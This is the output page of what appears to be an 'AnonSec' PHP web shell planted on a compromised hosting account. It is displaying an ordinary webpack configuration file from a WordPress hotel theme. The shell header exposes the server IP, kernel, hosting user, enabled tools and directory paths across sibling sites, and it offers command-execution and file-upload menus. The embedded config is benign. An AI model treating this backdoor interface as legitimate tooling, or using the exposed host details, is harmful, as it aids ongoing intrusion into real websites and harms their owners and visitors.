AnonSec Team
Server IP : 10.131.40.8  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux webd008.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : ludmqhh ( 137773)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ludmqhh/www/provence-plomberie/../hotel-forum/wp-content/themes/hotello/build/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ludmqhh/www/provence-plomberie/../hotel-forum/wp-content/themes/hotello/build/app.config.js
const path = require('path')
const merge = require('webpack-merge')

const env = require('./utils/env')
const config = require('../config/app')


module.exports = merge(
    {
        /**
         * Project paths.
         *
         * @type {Object}
         */
        paths: {
            root: path.resolve(__dirname, '../'),
            public: path.resolve(__dirname, '../public'),
            sass: path.resolve(__dirname, '../resources/assets/sass'),
            fonts: path.resolve(__dirname, '../resources/assets/fonts'),
            images: path.resolve(__dirname, '../resources/assets/images'),
            javascript: path.resolve(__dirname, '../resources/assets/js'),
            fonts: path.resolve(__dirname, '../resources/assets/fonts'),
            relative: '../',
            external: /node_modules|bower_components/,
            vendors: path.resolve(__dirname, '../public/vendors'),
            jsVendors: path.resolve(__dirname, '../resources/assets/vendors'),
            utils: path.resolve(__dirname, '../resources/assets/utils'),
            nodeModules: path.resolve(__dirname, '../node_modules'),

            themeOptions: {
                public: path.resolve(__dirname, '../inc/admin/theme_options/assets'),
                sass: path.resolve(__dirname, '../inc/admin/theme_options/assets_src/sass'),
            }
        },

        /**
         * Collection of application front-end assets.
         *
         * @type {Array}
         */
        assets: [],

        /**
         * List of filename schemas for different
         * application assets.
         *
         * @type {Object}
         */
        outputs: {
            css: {
                filename: env('FILENAME_CSS', 'css/[name].css')
            },

            font: {
                filename: env('FILENAME_FONT', 'fonts/[name].[ext]')
            },

            image: {
                filename: env('FILENAME_IMAGE', 'images/[path][name].[ext]')
            },

            javascript: {
                filename: env('FILENAME_JAVASCRIPT', 'js/[name].js')
            },

            external: {
                image: {
                    filename: env('FILENAME_EXTERNAL_IMAGE', 'images/[name].[ext]')
                },
                font: {
                    filename: env('FILENAME_EXTERNAL_FONT', 'fonts/[name].[ext]')
                }
            },
            cssVendors: {
                filename: env('FILENAME_CSS', 'vendors/[name].css')
            },
            jsVendors: {
                filename: env('FILENAME_JAVASCRIPT', 'vendors/[name].js')
            }
        },

        /**
         * List of libraries which will be provided
         * within application scripts as external.
         *
         * @type {Object}
         */
        externals: {
            jquery: 'jQuery',
        },

        /**
         * List of custom modules resolving.
         *
         * @type {Object}
         */
        resolve: {
            alias: {
                'vue$': 'vue/dist/vue.esm.js',
                'utils': path.resolve(__dirname, '../resources/assets/utils')
            }
        },

        /**
         * Settings of other build features.
         *
         * @type {Object}
         */
        settings: {
            sourceMaps: env('SOURCEMAPS', true),
            styleLint: {
                context: 'resources/assets'
            },
            autoprefixer: {
                browsers: ['last 2 versions', '> 1%'],
            },
            browserSync: {
                host: env('BROWSERSYNC_HOST', 'localhost'),
                port: env('BROWSERSYNC_PORT', 3000),
                proxy: env('BROWSERSYNC_PROXY', 'http://hotel.loc/'),
                open: env('BROWSERSYNC_OPEN', false),
                reloadDelay: env('BROWSERSYNC_DELAY', 500),
                files: [
                    '*.php',
                    'app/**/*.php',
                    'resources/templates/**/*.php',
                    'resources/assets/js/**/*.js',
                    // 'resources/assets/sass/**/*.{sass,scss}',
                    'resources/assets/images/**/*.{jpg,jpeg,png,gif,svg}',
                    'resources/assets/fonts/**/*.{eot,ttf,woff,woff2,svg}'
                ]
            }
        }
    }, config)

AnonSec - 2021